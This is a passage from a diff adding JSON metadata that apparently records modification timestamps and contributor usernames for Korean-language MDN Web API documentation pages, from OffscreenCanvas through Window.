+  "Web/API/OffscreenCanvas": {
+    "modified": "2020-10-15T22:14:42.350Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/OffscreenCanvas/OffscreenCanvas": {
+    "modified": "2020-10-15T22:14:41.229Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/OffscreenCanvas/getContext": {
+    "modified": "2020-10-15T22:14:44.730Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/OffscreenCanvas/height": {
+    "modified": "2020-10-15T22:14:43.501Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/OffscreenCanvas/toBlob": {
+    "modified": "2020-10-15T22:14:42.795Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/OffscreenCanvas/width": {
+    "modified": "2020-10-15T22:14:42.247Z",
+    "contributors": [
+      "moonformeli"
+    ]
+  },
+  "Web/API/Page_Visibility_API": {
+    "modified": "2020-10-15T21:50:28.089Z",
+    "contributors": [
+      "alattalatta",
+      "dragmove"
+    ]
+  },
+  "Web/API/ParentNode": {
+    "modified": "2020-10-15T22:08:08.618Z",
+    "contributors": [
+      "alattalatta",
+      "ExE-Boss"
+    ]
+  },
+  "Web/API/ParentNode/append": {
+    "modified": "2020-10-15T22:23:54.799Z",
+    "contributors": [
+      "ChanMyeong"
+    ]
+  },
+  "Web/API/ParentNode/childElementCount": {
+    "modified": "2020-10-24T00:56:18.797Z",
+    "contributors": [
+      "zzoPark"
+    ]
+  },
+  "Web/API/ParentNode/children": {
+    "modified": "2020-10-15T22:08:09.823Z",
+    "contributors": [
+      "whdckszxxx"
+    ]
+  },
+  "Web/API/ParentNode/prepend": {
+    "modified": "2020-10-15T22:19:18.906Z",
+    "contributors": [
+      "JungSWon"
+    ]
+  },
+  "Web/API/Performance": {
+    "modified": "2020-10-15T21:53:34.737Z",
+    "contributors": [
+      "fscholz",
+      "wbamberg",
+      "jpmedley"
+    ]
+  },
+  "Web/API/Performance/mark": {
+    "modified": "2020-10-15T22:23:09.869Z",
+    "contributors": [
+      "ESnark"
+    ]
+  },
+  "Web/API/Performance/now": {
+    "modified": "2020-10-15T21:53:33.718Z",
+    "contributors": [
+      "alattalatta",
+      "Dong-Young_Lee",
+      "dragmove"
+    ]
+  },
+  "Web/API/PerformanceEntry": {
+    "modified": "2020-10-15T22:23:11.078Z",
+    "contributors": [
+      "ESnark"
+    ]
+  },
+  "Web/API/PhotoCapabilities": {
+    "modified": "2020-10-15T22:27:09.730Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Plugin": {
+    "modified": "2019-03-23T22:11:26.376Z",
+    "contributors": [
+      "JinSeungHo"
+    ]
+  },
+  "Web/API/PositionOptions": {
+    "modified": "2020-10-15T22:02:42.878Z",
+    "contributors": [
+      "alattalatta",
+      "Saem"
+    ]
+  },
+  "Web/API/PushManager": {
+    "modified": "2020-10-15T21:24:43.793Z",
+    "contributors": [
+      "alattalatta",
+      "khalid32",
+      "minchang"
+    ]
+  },
+  "Web/API/PushMessageData": {
+    "modified": "2020-10-15T21:51:29.225Z",
+    "contributors": [
+      "alattalatta",
+      "alsntjsu"
+    ]
+  },
+  "Web/API/Push_API": {
+    "modified": "2020-10-15T22:19:20.272Z",
+    "contributors": [
+      "younheeJang"
+    ]
+  },
+  "Web/API/RTCConfiguration": {
+    "modified": "2020-10-15T22:21:34.262Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCDataChannelEvent": {
+    "modified": "2020-10-15T22:21:45.154Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCDataChannelEvent/RTCDataChannelEvent": {
+    "modified": "2020-10-15T22:21:44.935Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCDataChannelEvent/channel": {
+    "modified": "2020-10-15T22:21:44.926Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCIceCandidate": {
+    "modified": "2020-10-15T22:21:38.532Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCIceCandidate/candidate": {
+    "modified": "2020-10-15T22:21:50.433Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCIceCandidate/toJSON": {
+    "modified": "2020-10-15T22:21:45.450Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection": {
+    "modified": "2020-10-15T21:55:34.316Z",
+    "contributors": [
+      "ksrae",
+      "chansbro",
+      "SDSkyKlouD",
+      "hjs6877"
+    ]
+  },
+  "Web/API/RTCPeerConnection/RTCPeerConnection": {
+    "modified": "2020-10-15T22:19:10.244Z",
+    "contributors": [
+      "chansbro",
+      "SDSkyKlouD"
+    ]
+  },
+  "Web/API/RTCPeerConnection/addIceCandidate": {
+    "modified": "2020-10-15T22:21:53.619Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/addTrack": {
+    "modified": "2020-10-15T22:21:48.614Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/canTrickleIceCandidates": {
+    "modified": "2020-10-15T22:21:46.639Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/close": {
+    "modified": "2020-10-15T22:21:44.369Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/connectionState": {
+    "modified": "2020-10-15T22:21:46.270Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/createAnswer": {
+    "modified": "2020-10-15T22:21:52.646Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/createDataChannel": {
+    "modified": "2020-10-15T22:21:57.754Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/currentLocalDescription": {
+    "modified": "2020-10-15T22:21:36.507Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/currentRemoteDescription": {
+    "modified": "2020-10-15T22:21:46.405Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/generateCertificate": {
+    "modified": "2020-10-15T22:22:01.110Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/getConfiguration": {
+    "modified": "2020-10-15T22:22:01.220Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/getIdentityAssertion": {
+    "modified": "2020-10-15T22:22:02.368Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/getReceivers": {
+    "modified": "2020-10-15T22:22:02.274Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/getSenders": {
+    "modified": "2020-10-15T22:22:02.512Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/getTransceivers": {
+    "modified": "2020-10-15T22:22:03.043Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/iceGatheringState": {
+    "modified": "2020-10-15T22:21:37.926Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/icegatheringstatechange_event": {
+    "modified": "2020-10-15T22:21:34.594Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/localDescription": {
+    "modified": "2020-10-15T22:22:06.987Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/onconnectionstatechange": {
+    "modified": "2020-10-15T22:21:46.935Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/ondatachannel": {
+    "modified": "2020-10-15T22:21:38.724Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/onicecandidate": {
+    "modified": "2020-10-15T22:21:32.954Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/onicegatheringstatechange": {
+    "modified": "2020-10-15T22:21:36.115Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/onidentityresult": {
+    "modified": "2020-10-15T22:22:07.358Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/ontrack": {
+    "modified": "2020-10-15T22:22:07.343Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/removeTrack": {
+    "modified": "2020-10-15T22:22:03.373Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/restartIce": {
+    "modified": "2020-10-15T22:22:05.218Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/setConfiguration": {
+    "modified": "2020-10-15T22:22:05.087Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/setIdentityProvider": {
+    "modified": "2020-10-15T22:22:06.353Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnection/setLocalDescription": {
+    "modified": "2020-10-15T22:22:06.674Z",
+    "contributors": [
+      "ksrae",
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCPeerConnectionIceEvent": {
+    "modified": "2020-10-15T22:21:34.761Z",
+    "contributors": [
+      "Sheppy"
+    ]
+  },
+  "Web/API/RTCPeerConnectionIceEvent/candidate": {
+    "modified": "2020-10-15T22:21:33.225Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCSessionDescription": {
+    "modified": "2020-10-15T22:21:51.962Z",
+    "contributors": [
+      "kimyounguk",
+      "Jib"
+    ]
+  },
+  "Web/API/RTCSessionDescription/sdp": {
+    "modified": "2020-10-15T22:21:49.416Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/RTCSessionDescription/type": {
+    "modified": "2020-10-15T22:22:31.778Z",
+    "contributors": [
+      "chansbro"
+    ]
+  },
+  "Web/API/Range": {
+    "modified": "2020-10-15T21:17:18.574Z",
+    "contributors": [
+      "alattalatta",
+      "JeonghoonChoi",
+      "gblue1223",
+      "pjc0247",
+      "coremaker",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Range/selectNodeContents": {
+    "modified": "2020-10-15T21:44:08.507Z",
+    "contributors": [
+      "alattalatta",
+      "incleaf"
+    ]
+  },
+  "Web/API/ReadableStream": {
+    "modified": "2020-10-15T22:28:34.119Z",
+    "contributors": [
+      "CressZZ"
+    ]
+  },
+  "Web/API/Request": {
+    "modified": "2019-03-18T21:45:52.124Z",
+    "contributors": [
+      "BANIP"
+    ]
+  },
+  "Web/API/Request/Request": {
+    "modified": "2019-03-18T21:45:01.056Z",
+    "contributors": [
+      "BANIP"
+    ]
+  },
+  "Web/API/Request/credentials": {
+    "modified": "2020-10-15T22:14:24.282Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/SVGRect": {
+    "modified": "2020-10-15T22:14:24.692Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/API/Screen": {
+    "modified": "2019-03-23T23:01:36.807Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/Screen.onorientationchange": {
+    "modified": "2019-03-23T23:26:53.977Z",
+    "contributors": [
+      "jsx",
+      "teoli",
+      "junho85"
+    ]
+  },
+  "Web/API/Screen/lockOrientation": {
+    "modified": "2020-10-15T21:24:21.814Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "teoli",
+      "junho85"
+    ]
+  },
+  "Web/API/Screen/orientation": {
+    "modified": "2019-03-23T23:27:06.864Z",
+    "contributors": [
+      "fscholz",
+      "teoli",
+      "junho85"
+    ]
+  },
+  "Web/API/Screen/unlockOrientation": {
+    "modified": "2020-10-15T21:24:24.969Z",
+    "contributors": [
+      "alattalatta",
+      "fscholz",
+      "junho85"
+    ]
+  },
+  "Web/API/Selection": {
+    "modified": "2020-10-15T21:17:18.331Z",
+    "contributors": [
+      "alattalatta",
+      "ne2030",
+      "dae-hwa",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Selection/toString": {
+    "modified": "2020-10-15T21:59:00.326Z",
+    "contributors": [
+      "alattalatta",
+      "veshboo"
+    ]
+  },
+  "Web/API/Server-sent_events": {
+    "modified": "2019-04-18T11:03:16.390Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/API/ServiceWorker": {
+    "modified": "2020-10-15T21:39:42.496Z",
+    "contributors": [
+      "alattalatta",
+      "minias"
+    ]
+  },
+  "Web/API/ServiceWorker/onstatechange": {
+    "modified": "2020-10-15T22:20:48.975Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerGlobalScope": {
+    "modified": "2020-10-15T22:20:18.174Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/ServiceWorkerGlobalScope/clients": {
+    "modified": "2020-10-15T22:20:23.493Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerGlobalScope/notificationclick_event": {
+    "modified": "2020-10-15T22:22:01.697Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerGlobalScope/skipWaiting": {
+    "modified": "2020-10-15T22:20:18.195Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerRegistration": {
+    "modified": "2020-10-15T22:20:18.966Z"
+  },
+  "Web/API/ServiceWorkerRegistration/active": {
+    "modified": "2020-10-15T22:20:29.654Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerRegistration/installing": {
+    "modified": "2020-10-15T22:20:16.977Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/ServiceWorkerRegistration/navigationPreload": {
+    "modified": "2020-10-15T22:20:28.623Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Service_Worker_API": {
+    "modified": "2020-09-02T11:09:48.799Z",
+    "contributors": [
+      "alattalatta",
+      "MuhunKim",
+      "Hou",
+      "limkukhyun",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Service_Worker_API/Using_Service_Workers": {
+    "modified": "2020-01-22T22:07:32.776Z",
+    "contributors": [
+      "leegeunhyeok",
+      "LeeJunyeol",
+      "SemteulGaram",
+      "joshua1988"
+    ]
+  },
+  "Web/API/SharedWorker": {
+    "modified": "2020-10-15T21:48:36.465Z",
+    "contributors": [
+      "alattalatta",
+      "joshua1988"
+    ]
+  },
+  "Web/API/Storage": {
+    "modified": "2020-10-15T21:46:19.730Z",
+    "contributors": [
+      "alattalatta",
+      "joshua1988"
+    ]
+  },
+  "Web/API/Storage/key": {
+    "modified": "2020-10-15T22:04:17.401Z",
+    "contributors": [
+      "galcyurio"
+    ]
+  },
+  "Web/API/Storage/length": {
+    "modified": "2020-10-15T22:33:23.255Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Storage/removeItem": {
+    "modified": "2019-03-23T22:19:00.475Z",
+    "contributors": [
+      "jcahn"
+    ]
+  },
+  "Web/API/StorageEvent": {
+    "modified": "2020-10-15T22:33:24.408Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Streams_API": {
+    "modified": "2020-10-15T22:10:11.505Z",
+    "contributors": [
+      "ahnzaz",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Streams_API/Using_readable_streams": {
+    "modified": "2020-03-27T01:34:43.977Z",
+    "contributors": [
+      "CressZZ"
+    ]
+  },
+  "Web/API/Streams_API/컨셉": {
+    "modified": "2019-03-18T21:23:57.078Z",
+    "contributors": [
+      "jjangga0214"
+    ]
+  },
+  "Web/API/StyleSheet": {
+    "modified": "2020-10-15T22:34:31.946Z",
+    "contributors": [
+      "seo42401077"
+    ]
+  },
+  "Web/API/Text": {
+    "modified": "2020-10-15T22:10:12.929Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/API/Text/Text": {
+    "modified": "2020-10-15T22:10:14.805Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Text/splitText": {
+    "modified": "2020-10-15T22:10:12.068Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Touch_events": {
+    "modified": "2019-03-23T22:10:42.744Z",
+    "contributors": [
+      "helli"
+    ]
+  },
+  "Web/API/TreeWalker": {
+    "modified": "2020-10-15T22:00:36.173Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear"
+    ]
+  },
+  "Web/API/TreeWalker/currentNode": {
+    "modified": "2020-10-15T22:00:39.722Z",
+    "contributors": [
+      "alattalatta",
+      "kewlbear"
+    ]
+  },
+  "Web/API/URL": {
+    "modified": "2020-10-15T21:59:37.835Z",
+    "contributors": [
+      "alattalatta",
+      "cybaj",
+      "limkukhyun",
+      "SeonHyungJo",
+      "yuj25"
+    ]
+  },
+  "Web/API/URL/URL": {
+    "modified": "2020-10-15T22:26:50.386Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/createObjectURL": {
+    "modified": "2020-10-15T22:16:00.254Z",
+    "contributors": [
+      "alattalatta",
+      "moonyl"
+    ]
+  },
+  "Web/API/URL/hash": {
+    "modified": "2020-10-15T22:26:52.281Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/host": {
+    "modified": "2020-10-15T22:26:52.486Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/hostname": {
+    "modified": "2020-10-15T22:27:32.406Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/href": {
+    "modified": "2020-10-15T22:27:34.298Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/origin": {
+    "modified": "2020-10-15T22:27:43.580Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/password": {
+    "modified": "2020-10-15T22:27:43.118Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/pathname": {
+    "modified": "2020-10-15T22:27:45.295Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/port": {
+    "modified": "2020-10-15T22:27:46.281Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/protocol": {
+    "modified": "2020-10-15T22:27:46.209Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/revokeObjectURL": {
+    "modified": "2020-10-15T22:15:59.840Z",
+    "contributors": [
+      "alattalatta",
+      "moonyl"
+    ]
+  },
+  "Web/API/URL/search": {
+    "modified": "2020-10-15T22:27:50.259Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/searchParams": {
+    "modified": "2020-10-15T22:27:44.189Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/toJSON": {
+    "modified": "2020-10-15T22:27:51.609Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/toString": {
+    "modified": "2020-10-15T22:27:45.973Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URL/username": {
+    "modified": "2020-10-15T22:27:43.094Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/URLSearchParams": {
+    "modified": "2020-10-15T22:00:33.746Z",
+    "contributors": [
+      "alattalatta",
+      "limkukhyun",
+      "dnjstlr555"
+    ]
+  },
+  "Web/API/URLSearchParams/URLSearchParams": {
+    "modified": "2020-10-15T22:33:49.386Z",
+    "contributors": [
+      "heejinlee07"
+    ]
+  },
+  "Web/API/URLSearchParams/toString": {
+    "modified": "2020-10-15T22:26:21.105Z",
+    "contributors": [
+      "LeeJunyeol"
+    ]
+  },
+  "Web/API/USVString": {
+    "modified": "2020-02-19T12:36:27.811Z",
+    "contributors": [
+      "alattalatta",
+      "cs09g",
+      "DeadIntegral"
+    ]
+  },
+  "Web/API/VREyeParameters": {
+    "modified": "2020-10-15T21:54:28.385Z",
+    "contributors": [
+      "alattalatta",
+      "hyunjunyong"
+    ]
+  },
+  "Web/API/ValidityState": {
+    "modified": "2020-10-15T22:32:29.142Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/WebGLRenderbuffer": {
+    "modified": "2020-10-15T22:14:23.554Z",
+    "contributors": [
+      "guyeol"
+    ]
+  },
+  "Web/API/WebGLShader": {
+    "modified": "2019-03-23T22:27:54.436Z",
+    "contributors": [
+      "rupc"
+    ]
+  },
+  "Web/API/WebGL_API": {
+    "modified": "2020-10-15T21:28:11.343Z",
+    "contributors": [
+      "hyungsbi",
+      "alattalatta",
+      "fscholz",
+      "hanmomhanda",
+      "bassam",
+      "JeongSeongDae",
+      "jaejoonjung"
+    ]
+  },
+  "Web/API/WebGL_API/By_example": {
+    "modified": "2019-03-23T22:21:30.767Z",
+    "contributors": [
+      "chrisdavidmills",
+      "fscholz"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Clearing_by_clicking": {
+    "modified": "2019-03-23T22:21:24.276Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Detect_WebGL": {
+    "modified": "2019-03-23T22:21:34.287Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Hello_GLSL": {
+    "modified": "2019-03-23T22:21:28.443Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Hello_vertex_attributes": {
+    "modified": "2019-03-23T22:21:33.699Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Scissor_animation": {
+    "modified": "2019-03-18T21:15:07.563Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Simple_color_animation": {
+    "modified": "2019-03-23T22:21:32.653Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/By_example/Textures_from_code": {
+    "modified": "2019-03-23T22:21:28.991Z",
+    "contributors": [
+      "chrisdavidmills",
+      "woojin.jo"
+    ]
+  },
+  "Web/API/WebGL_API/Cross-Domain_Textures": {
+    "modified": "2019-03-23T22:54:05.275Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial": {
+    "modified": "2020-06-18T10:46:16.746Z",
+    "contributors": [
+      "ChrisKim",
+      "red112",
+      "fscholz"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context": {
+    "modified": "2019-03-18T20:48:13.599Z",
+    "contributors": [
+      "sev314",
+      "fscholz",
+      "chiyodad",
+      "teoli",
+      "sangwoo",
+      "JeongSeongDae"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL": {
+    "modified": "2019-03-23T23:08:21.261Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda",
+      "sangwoo"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL": {
+    "modified": "2019-03-23T22:54:09.560Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL": {
+    "modified": "2019-03-23T22:54:17.912Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL": {
+    "modified": "2019-03-23T23:09:44.080Z",
+    "contributors": [
+      "kjh9348",
+      "psj3205",
+      "joeunha",
+      "fscholz",
+      "teoli",
+      "sangwoo",
+      "JeongSeongDae"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL": {
+    "modified": "2019-03-23T22:54:18.202Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL": {
+    "modified": "2019-08-20T03:17:40.591Z",
+    "contributors": [
+      "code1492",
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL": {
+    "modified": "2019-03-23T22:54:21.742Z",
+    "contributors": [
+      "fscholz",
+      "hanmomhanda"
+    ]
+  },
+  "Web/API/WebGL_API/WebGL_best_practices": {
+    "modified": "2019-03-23T22:27:59.889Z",
+    "contributors": [
+      "rupc"
+    ]
+  },
+  "Web/API/WebRTC_API": {
+    "modified": "2020-10-28T03:01:09.162Z",
+    "contributors": [
+      "Anonymous",
+      "LeeJunyeol",
+      "peacekimjapan",
+      "YBHwang",
+      "netcleaner",
+      "hjs6877",
+      "gustnxodjs",
+      "Sheppy"
+    ]
+  },
+  "Web/API/WebRTC_API/Protocols": {
+    "modified": "2020-04-05T10:53:02.981Z",
+    "contributors": [
+      "peacekimjapan"
+    ]
+  },
+  "Web/API/WebRTC_API/Signaling_and_video_calling": {
+    "modified": "2020-08-14T04:11:06.366Z",
+    "contributors": [
+      "breadfit",
+      "fscholz",
+      "gustnxodjs"
+    ]
+  },
+  "Web/API/WebRTC_API/Using_data_channels": {
+    "modified": "2020-04-05T10:19:30.624Z",
+    "contributors": [
+      "peacekimjapan"
+    ]
+  },
+  "Web/API/WebRTC_API/adapter.js": {
+    "modified": "2020-08-14T03:48:29.087Z",
+    "contributors": [
+      "breadfit"
+    ]
+  },
+  "Web/API/WebSocket": {
+    "modified": "2020-10-15T21:42:28.844Z",
+    "contributors": [
+      "alattalatta",
+      "TaeYoon2",
+      "pjc0247"
+    ]
+  },
+  "Web/API/WebSocket/WebSocket": {
+    "modified": "2020-10-15T22:09:06.751Z",
+    "contributors": [
+      "TaeYoon2"
+    ]
+  },
+  "Web/API/WebSocket/readyState": {
+    "modified": "2020-10-15T22:21:26.050Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/API/Web_Audio_API": {
+    "modified": "2020-11-04T02:42:13.418Z",
+    "contributors": [
+      "hyunwoong.kang",
+      "chant"
+    ]
+  },
+  "Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API": {
+    "modified": "2019-03-18T21:36:55.007Z",
+    "contributors": [
+      "daebum-lee"
+    ]
+  },
+  "Web/API/Web_Audio_API/Using_Web_Audio_API": {
+    "modified": "2019-10-28T07:49:04.515Z",
+    "contributors": [
+      "dbwodlf3"
+    ]
+  },
+  "Web/API/Web_Storage_API": {
+    "modified": "2020-10-15T21:55:28.717Z",
+    "contributors": [
+      "alattalatta",
+      "zynkn",
+      "fscholz"
+    ]
+  },
+  "Web/API/Web_Storage_API/Using_the_Web_Storage_API": {
+    "modified": "2020-10-15T21:55:28.885Z",
+    "contributors": [
+      "yuyuny",
+      "alattalatta",
+      "leedabin",
+      "techhtml"
+    ]
+  },
+  "Web/API/Web_Workers_API": {
+    "modified": "2020-08-26T12:06:20.971Z",
+    "contributors": [
+      "alattalatta",
+      "ddojung",
+      "naduhy2",
+      "thankee",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Web_Workers_API/Structured_clone_algorithm": {
+    "modified": "2019-03-23T22:19:45.404Z",
+    "contributors": [
+      "Konan"
+    ]
+  },
+  "Web/API/Web_Workers_API/basic_usage": {
+    "modified": "2020-04-03T02:58:31.932Z",
+    "contributors": [
+      "dh",
+      "roupkk",
+      "andrewsohn",
+      "NFM",
+      "epicsaga"
+    ]
+  },
+  "Web/API/Window": {
+    "modified": "2020-10-15T21:17:36.416Z",
+    "contributors": [
+      "alattalatta",
+      "JungMockdan",
+      "inojng",
+      "wayne-kim",
+      "fscholz",
+      "jsx",
+      "teoli",
+      "pusanbear"
+    ]
+  },
+  "Web/API/Window/alert": {
+    "modified": "2020-10-15T21:39:24.854Z",
+    "contributors": [
+      "alattalatta",
+      "Parcovia",
+      ".",
+      "pi1992"
+    ]
+  },
+  "Web/API/Window/beforeunload_event": {
+    "modified": "2020-10-15T22:30:21.588Z",
+    "contributors": [
+      "alattalatta",
+      "SeonHyungJo"
+    ]
+  },
+  "Web/API/Window/cancelAnimationFrame": {
+    "modified": "2020-10-15T22:16:45.881Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/API/Window/closed": {
+    "modified": "2020-08-22T13:20:32.502Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/confirm": {
+    "modified": "2020-10-15T22:00:12.990Z",
+    "contributors": [
+      "alattalatta",
+      "idpokute"
+    ]
+  },
+  "Web/API/Window/console": {
+    "modified": "2020-02-01T07:17:19.974Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/crypto": {
+    "modified": "2020-10-15T21:40:03.517Z",
+    "contributors": [
+      "alattalatta",
+      "hoony"
+    ]
+  },
+  "Web/API/Window/customElements": {
+    "modified": "2020-10-15T22:26:45.848Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/Window/devicePixelRatio": {
+    "modified": "2020-10-15T21:38:18.372Z",
+    "contributors": [
+      "alattalatta",
+      "apple77y",
+      "starfish72"
+    ]
+  },
+  "Web/API/Window/document": {
